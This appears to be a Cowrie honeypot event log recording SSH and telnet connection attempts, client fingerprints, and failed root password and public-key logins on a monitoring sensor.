{"eventid":"cowrie.session.closed","duration":41.901546239852905,"message":"Connection lost after 41 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:07:21.950752Z","src_ip":"192.119.13.58","session":"b06f8783ba65","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"103.195.236.96","src_port":36930,"dst_ip":"159.203.135.109","dst_port":22,"session":"91f1a8403339","protocol":"ssh","message":"New connection: 103.195.236.96:36930 (159.203.135.109:22) [session: 91f1a8403339]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:07:26.444299Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:07:26.449200Z","src_ip":"103.195.236.96","session":"91f1a8403339","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:07:26.689683Z","src_ip":"103.195.236.96","session":"91f1a8403339","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"globus","message":"login attempt [root/globus] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:07:27.413266Z","src_ip":"103.195.236.96","session":"91f1a8403339","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":45240,"dst_ip":"10.17.0.5","dst_port":23,"session":"16b7fe19b9b3","protocol":"telnet","message":"New connection: 192.119.13.58:45240 (10.17.0.5:23) [session: 16b7fe19b9b3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:07:28.646944Z"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:07:28.655986Z","src_ip":"103.195.236.96","session":"91f1a8403339","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":39.278605937957764,"message":"Connection lost after 39 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:07:28.779831Z","src_ip":"192.119.13.58","session":"71c592962cd9","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":49242,"dst_ip":"10.17.0.5","dst_port":23,"session":"d6b11af428f0","protocol":"telnet","message":"New connection: 192.119.13.58:49242 (10.17.0.5:23) [session: d6b11af428f0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:07:29.736329Z"}
{"eventid":"cowrie.session.closed","duration":0.005445003509521484,"message":"Connection lost after 0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:07:29.741617Z","src_ip":"192.119.13.58","session":"d6b11af428f0","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":54614,"dst_ip":"10.17.0.5","dst_port":23,"session":"288f0c049885","protocol":"telnet","message":"New connection: 192.119.13.58:54614 (10.17.0.5:23) [session: 288f0c049885]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:07:31.250550Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":36100,"dst_ip":"10.17.0.5","dst_port":23,"session":"1c6ff7945ca1","protocol":"telnet","message":"New connection: 192.119.13.58:36100 (10.17.0.5:23) [session: 1c6ff7945ca1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:07:34.004496Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":40936,"dst_ip":"10.17.0.5","dst_port":23,"session":"a3749b56eb5c","protocol":"telnet","message":"New connection: 192.119.13.58:40936 (10.17.0.5:23) [session: a3749b56eb5c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:07:35.345051Z"}
{"eventid":"cowrie.session.closed","duration":44.78281903266907,"message":"Connection lost after 44 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:07:36.376846Z","src_ip":"192.119.13.58","session":"840bbf5d4e49","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":34.71200942993164,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:07:40.171465Z","src_ip":"192.119.13.58","session":"d447489ba6b6","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":44.55944013595581,"message":"Connection lost after 44 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:07:40.201135Z","src_ip":"192.119.13.58","session":"5ae18d53fadb","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":47.291985511779785,"message":"Connection lost after 47 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:07:40.576486Z","src_ip":"192.119.13.58","session":"308ff59a8d8f","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":43832,"dst_ip":"10.17.0.5","dst_port":23,"session":"af21bf9d312c","protocol":"telnet","message":"New connection: 192.119.13.58:43832 (10.17.0.5:23) [session: af21bf9d312c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:07:43.889761Z"}
{"eventid":"cowrie.session.connect","src_ip":"167.172.81.52","src_port":60645,"dst_ip":"159.203.135.109","dst_port":22,"session":"da6b7160c1dd","protocol":"ssh","message":"New connection: 167.172.81.52:60645 (159.203.135.109:22) [session: da6b7160c1dd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:07:44.037792Z"}
{"eventid":"cowrie.client.version","version":"\u0003\u0000\u0000+&\\xe0\u0000\u0000\u0000\u0000\u0000Cookie: mstshash=hello","message":"Remote SSH version: \u0003\u0000\u0000+&\\xe0\u0000\u0000\u0000\u0000\u0000Cookie: mstshash=hello","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:07:44.042808Z","src_ip":"167.172.81.52","session":"da6b7160c1dd","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.0","message":"Connection lost after 0.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:07:44.046332Z","src_ip":"167.172.81.52","session":"da6b7160c1dd","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":39.4938063621521,"message":"Connection lost after 39 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:07:45.085706Z","src_ip":"192.119.13.58","session":"d408d354ad15","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":35.80239129066467,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:07:46.247356Z","src_ip":"192.119.13.58","session":"e73f75a2185d","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":56108,"dst_ip":"10.17.0.5","dst_port":23,"session":"4be603f46f76","protocol":"telnet","message":"New connection: 192.119.13.58:56108 (10.17.0.5:23) [session: 4be603f46f76]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:07:47.343488Z"}
{"eventid":"cowrie.session.connect","src_ip":"208.87.241.143","src_port":63188,"dst_ip":"10.17.0.5","dst_port":22,"session":"7eed4507df52","protocol":"ssh","message":"New connection: 208.87.241.143:63188 (10.17.0.5:22) [session: 7eed4507df52]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:07:47.431274Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.0","message":"Remote SSH version: SSH-2.0-libssh2_1.11.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:07:47.436497Z","src_ip":"208.87.241.143","session":"7eed4507df52","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"14b2ddda386a4d1006108ccd231b42fc","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-rsa-cert-v01@openssh.com","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 14b2ddda386a4d1006108ccd231b42fc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:07:47.512971Z","src_ip":"208.87.241.143","session":"7eed4507df52","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"94:54:1a:54:40:53:ea:22:8b:71:5d:61:1f:1e:ca:65","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCzcNLXJ+aFQWmCllCuXpf7tXJ4cxHYvxGgy2sy5RIpCnZ+4ejz7X2MM4b8wnHOyNHm+tAMf6DA4n7CMI1BJ9LsT/LkCojJVGI0iSPACkDWAvsClMNQgXDLHSlUjUiCo1mqdExyftiSx3UOCNaIA9SIGIgpb86EhPWut8beqQ08Uu3diCbkPwET2SAIKIRYx/h5buxob2t+SzABt3BC98AMwtJsXFTtucLY486m6DihPJNfAqCkoxSHRGzZYSmzKufTRUnoP7Cq8e9hfzS6hBb310Z5v5ywFeWrcEon2aft+hmKeD8z7KzKxMul8DD0Nryc94VJNnT1EuQtUIsuWecZ","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 94:54:1a:54:40:53:ea:22:8b:71:5d:61:1f:1e:ca:65","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:07:47.868368Z","src_ip":"208.87.241.143","session":"7eed4507df52","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"94:54:1a:54:40:53:ea:22:8b:71:5d:61:1f:1e:ca:65","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCzcNLXJ+aFQWmCllCuXpf7tXJ4cxHYvxGgy2sy5RIpCnZ+4ejz7X2MM4b8wnHOyNHm+tAMf6DA4n7CMI1BJ9LsT/LkCojJVGI0iSPACkDWAvsClMNQgXDLHSlUjUiCo1mqdExyftiSx3UOCNaIA9SIGIgpb86EhPWut8beqQ08Uu3diCbkPwET2SAIKIRYx/h5buxob2t+SzABt3BC98AMwtJsXFTtucLY486m6DihPJNfAqCkoxSHRGzZYSmzKufTRUnoP7Cq8e9hfzS6hBb310Z5v5ywFeWrcEon2aft+hmKeD8z7KzKxMul8DD0Nryc94VJNnT1EuQtUIsuWecZ","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:07:47.872211Z","src_ip":"208.87.241.143","session":"7eed4507df52","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"72:d7:c8:74:8d:4c:ac:ca:11:31:cc:03:bb:9e:1b:4a","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEApEy27eyel7I1gop7WsJLTiTxv6DdeRoGppAXWzY+ebstmQAK4oqxMZppnGLCPPwC+LA+iW5h9HsyaSG5J1r6eVo7HcM+ZSYH9wg83/LtQuREWdVrxv3NP3JzlhRCvtr3ezA67j2JpNgAtWejbAoTjfwKuYnIv42RoWW8WrBvgemTTfC6IvdTi05LCYBKWsnW168inZO7VY0SQaXoqdNTlPHs3pojNZX/30dS3MVUtQc9qc4tgX5VZoaSbZMCXA1JpnMalZWJWFnD5xAkseQJDsB0ps0jBZU1BNR50ICsi4sfFwCSlY04jAcdBS0wra0NTMpVqW+WofJhdzjLyeL2OQ==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 72:d7:c8:74:8d:4c:ac:ca:11:31:cc:03:bb:9e:1b:4a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:07:47.949193Z","src_ip":"208.87.241.143","session":"7eed4507df52","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"72:d7:c8:74:8d:4c:ac:ca:11:31:cc:03:bb:9e:1b:4a","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEApEy27eyel7I1gop7WsJLTiTxv6DdeRoGppAXWzY+ebstmQAK4oqxMZppnGLCPPwC+LA+iW5h9HsyaSG5J1r6eVo7HcM+ZSYH9wg83/LtQuREWdVrxv3NP3JzlhRCvtr3ezA67j2JpNgAtWejbAoTjfwKuYnIv42RoWW8WrBvgemTTfC6IvdTi05LCYBKWsnW168inZO7VY0SQaXoqdNTlPHs3pojNZX/30dS3MVUtQc9qc4tgX5VZoaSbZMCXA1JpnMalZWJWFnD5xAkseQJDsB0ps0jBZU1BNR50ICsi4sfFwCSlY04jAcdBS0wra0NTMpVqW+WofJhdzjLyeL2OQ==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:07:47.953896Z","src_ip":"208.87.241.143","session":"7eed4507df52","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"1a:a6:1a:0e:53:5e:1a:fb:c4:e6:45:ef:4a:b6:21:0f","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEA3evEeXQuGyLaNlwe1QU+dLnzwxwZowanSKon07ya/7Fy4Q9NW6bNYH8L/DC9WutTOkcJrokR4orbxlD26qxBj7PZTFPbMy/1Q6YkaLE41qNt/fBd5qnG9XBi9h7piwrV6BxlcJYmb5zr/e4UOU2kH9PJvm5pZZUbPTWhOX+6N5XqxpzALTldrWQRxxyAIYY5PVfWpao+JivA2z/mf95AVTGmPvY2atqDi7b35w9AxXw46j83gdebaxdug52tI52Xw61sPYwUzKdquj6vgLuIi3Dlcf0XbUqBXNEVAjoNowF6zaiRkR9NzzRTnzGQ9ZUqwNXYLTQiIbtzXzuTHOUqeQ==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 1a:a6:1a:0e:53:5e:1a:fb:c4:e6:45:ef:4a:b6:21:0f","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:07:48.033563Z","src_ip":"208.87.241.143","session":"7eed4507df52","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"1a:a6:1a:0e:53:5e:1a:fb:c4:e6:45:ef:4a:b6:21:0f","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEA3evEeXQuGyLaNlwe1QU+dLnzwxwZowanSKon07ya/7Fy4Q9NW6bNYH8L/DC9WutTOkcJrokR4orbxlD26qxBj7PZTFPbMy/1Q6YkaLE41qNt/fBd5qnG9XBi9h7piwrV6BxlcJYmb5zr/e4UOU2kH9PJvm5pZZUbPTWhOX+6N5XqxpzALTldrWQRxxyAIYY5PVfWpao+JivA2z/mf95AVTGmPvY2atqDi7b35w9AxXw46j83gdebaxdug52tI52Xw61sPYwUzKdquj6vgLuIi3Dlcf0XbUqBXNEVAjoNowF6zaiRkR9NzzRTnzGQ9ZUqwNXYLTQiIbtzXzuTHOUqeQ==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:07:48.037707Z","src_ip":"208.87.241.143","session":"7eed4507df52","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"da:72:6f:db:e2:18:49:ec:52:2f:48:ba:25:36:77:8e","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAgEA853rjkXcB77Oi0oPEKfZ2ChbrmXYM1209jfuHQMPNvZxqEXsaCWgQ5SoA0Uimg5N1T2mXaPuGzRyWo2TFZNMb4AORxe07uQp1o+tDdw5Yf4vYJT5YaMs5pdD9DPV6flhmOycu6rC5/mSUz50zyuQ654hMhh841Rx8OIoSHnYj+/3JjlDnoTd2lf4u6Uyvc++CT6xV36Lb8CHf2fMkGX6NMrQ5X5TNTlcaAny7EHaTaJTYXLXMqpZlzXceKVMO7tq2SgSHeeb6BEqxMjWF/q5WNFZ9PXjCrqrvMuAQdKlNy++3YYuPPesrqjJpXdUzGGWSCsC4poXjNCo6sxZCu7/EScvXTNZZVE4CwZ7WyQbGbxkNE1zyciMt7q1vBhuQtP1PUOrvLRVrl/DkKNlFisZ8ox+zc2du0AC2SrCQsgWDMHWisChweFj4xcd4GRzZ6QGo6Q1vJVhb5NG7T5M5AXBDHBkCeWLLpze60mSlQ/Iql4mXRPjsVwx/+jkUNgD5gQo28h4o2kJjpeYcfX0DqH5ILa7Jr0oABpikeCDRv/n1HdxkS3UI/tkoPz2+0hA9t6nlifCWPAJtgknW8w4n3XoR8S7Ferhx8+WDt+yqq/QLXoZATZx96IfLT9tYN9sh7PWVNez0YYacmaLgongggBmSjiIsQ6Dv0eE+0ghFfd+R6E=","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint da:72:6f:db:e2:18:49:ec:52:2f:48:ba:25:36:77:8e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:07:48.113207Z","src_ip":"208.87.241.143","session":"7eed4507df52","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"da:72:6f:db:e2:18:49:ec:52:2f:48:ba:25:36:77:8e","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAgEA853rjkXcB77Oi0oPEKfZ2ChbrmXYM1209jfuHQMPNvZxqEXsaCWgQ5SoA0Uimg5N1T2mXaPuGzRyWo2TFZNMb4AORxe07uQp1o+tDdw5Yf4vYJT5YaMs5pdD9DPV6flhmOycu6rC5/mSUz50zyuQ654hMhh841Rx8OIoSHnYj+/3JjlDnoTd2lf4u6Uyvc++CT6xV36Lb8CHf2fMkGX6NMrQ5X5TNTlcaAny7EHaTaJTYXLXMqpZlzXceKVMO7tq2SgSHeeb6BEqxMjWF/q5WNFZ9PXjCrqrvMuAQdKlNy++3YYuPPesrqjJpXdUzGGWSCsC4poXjNCo6sxZCu7/EScvXTNZZVE4CwZ7WyQbGbxkNE1zyciMt7q1vBhuQtP1PUOrvLRVrl/DkKNlFisZ8ox+zc2du0AC2SrCQsgWDMHWisChweFj4xcd4GRzZ6QGo6Q1vJVhb5NG7T5M5AXBDHBkCeWLLpze60mSlQ/Iql4mXRPjsVwx/+jkUNgD5gQo28h4o2kJjpeYcfX0DqH5ILa7Jr0oABpikeCDRv/n1HdxkS3UI/tkoPz2+0hA9t6nlifCWPAJtgknW8w4n3XoR8S7Ferhx8+WDt+yqq/QLXoZATZx96IfLT9tYN9sh7PWVNez0YYacmaLgongggBmSjiIsQ6Dv0eE+0ghFfd+R6E=","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:07:48.117633Z","src_ip":"208.87.241.143","session":"7eed4507df52","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"37:f4:73:e5:48:23:b5:dc:dd:12:6d:8e:04:de:3e:2e","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDNfZNLOfl033PVrAgA+KrpLAWhkpRcj2yqzJvmiOL8NKbKU4hTPgqgXV8haxjuVxNoRtHGiQXzHyCjKCdPJsXBhph64gjcvpVQZpkJcgK9E3okLK7hD6BPmHRdYZDrpOVv/LnCN2vhGA47cy1WsNhataKcmTRg09Nb7mOrbtN/pCdGFQIKoU0lZkExywJv4nWTYrcTMZnBGU6s4KI++PfdoXL0pVI4KP2iOEwJ/b+UbfAOD9yTvL8K4ZP09QSL8jNPMIzStl14z+3dZPy+34QRiftbqu37NZm5qN6XefIpzyRiCr9C4HIRbR1669PgJqNbDq6jh7jYGwDquGNujnM/","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 37:f4:73:e5:48:23:b5:dc:dd:12:6d:8e:04:de:3e:2e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:07:48.194032Z","src_ip":"208.87.241.143","session":"7eed4507df52","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"37:f4:73:e5:48:23:b5:dc:dd:12:6d:8e:04:de:3e:2e","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDNfZNLOfl033PVrAgA+KrpLAWhkpRcj2yqzJvmiOL8NKbKU4hTPgqgXV8haxjuVxNoRtHGiQXzHyCjKCdPJsXBhph64gjcvpVQZpkJcgK9E3okLK7hD6BPmHRdYZDrpOVv/LnCN2vhGA47cy1WsNhataKcmTRg09Nb7mOrbtN/pCdGFQIKoU0lZkExywJv4nWTYrcTMZnBGU6s4KI++PfdoXL0pVI4KP2iOEwJ/b+UbfAOD9yTvL8K4ZP09QSL8jNPMIzStl14z+3dZPy+34QRiftbqu37NZm5qN6XefIpzyRiCr9C4HIRbR1669PgJqNbDq6jh7jYGwDquGNujnM/","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:07:48.198956Z","src_ip":"208.87.241.143","session":"7eed4507df52","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.8","message":"Connection lost after 0.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:07:48.276210Z","src_ip":"208.87.241.143","session":"7eed4507df52","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":47396,"dst_ip":"10.17.0.5","dst_port":23,"session":"b5888f699674","protocol":"telnet","message":"New connection: 192.119.13.58:47396 (10.17.0.5:23) [session: b5888f699674]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:07:52.592606Z"}
{"eventid":"cowrie.session.closed","duration":35.57595491409302,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:07:54.073469Z","src_ip":"192.119.13.58","session":"4242b42544fe","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":45.83808755874634,"message":"Connection lost after 45 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:07:57.007133Z","src_ip":"192.119.13.58","session":"d689eed70110","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":37542,"dst_ip":"10.17.0.5","dst_port":23,"session":"13ab01ac0bdc","protocol":"telnet","message":"New connection: 192.119.13.58:37542 (10.17.0.5:23) [session: 13ab01ac0bdc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:07:57.432932Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":41768,"dst_ip":"10.17.0.5","dst_port":23,"session":"432aa1ab82dc","protocol":"telnet","message":"New connection: 192.119.13.58:41768 (10.17.0.5:23) [session: 432aa1ab82dc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:07:58.583454Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":42716,"dst_ip":"10.17.0.5","dst_port":23,"session":"b79a0a26e2da","protocol":"telnet","message":"New connection: 192.119.13.58:42716 (10.17.0.5:23) [session: b79a0a26e2da]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:07:58.895567Z"}
